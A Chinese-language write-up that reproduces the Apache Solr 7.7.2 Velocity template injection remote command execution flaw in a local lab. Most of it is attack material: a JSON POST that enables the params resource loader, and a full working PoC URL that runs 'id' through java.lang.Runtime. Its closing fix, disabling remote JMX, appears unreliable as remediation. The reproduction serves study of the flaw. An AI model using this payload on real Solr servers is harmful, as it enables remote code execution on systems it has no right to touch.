Apache Solr Velocity模版注入远程命令执行漏洞复现
环境下载
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/
unzip solr-7.7.2.zip
cd solr-7.7.2/bin
./solr start -force
注意solr-7.7.2/bin目录下的solr.in.sh文件设置ENABLE_REMOTE_JMX_OPTS="true"
否则复现不成功(失败了好多次才发现)
默认端口为 8983,我该了端口为8984。
复现过程
然后使用浏览器访问 solr,在浏览器新建一个 core。可能会遇到无法添加 core 问题,将 /solr-7.7.0/server/solr/configsets/_default 下的 conf 文件夹复制到 demo(自己新建的core名) 文件夹下即可。
然后向core 的 config 文件 POST 发送一个 json 格式的数据包,将 params.resource.loader.enabled 设置为 ture(默认为 false)
POST包如下:
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
然后就可以利用POC执行命令。
http://127.0.0.1:8984/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
漏洞修复
solr.in.sh文件设置
ENABLE_REMOTE_JMX_OPTS="false"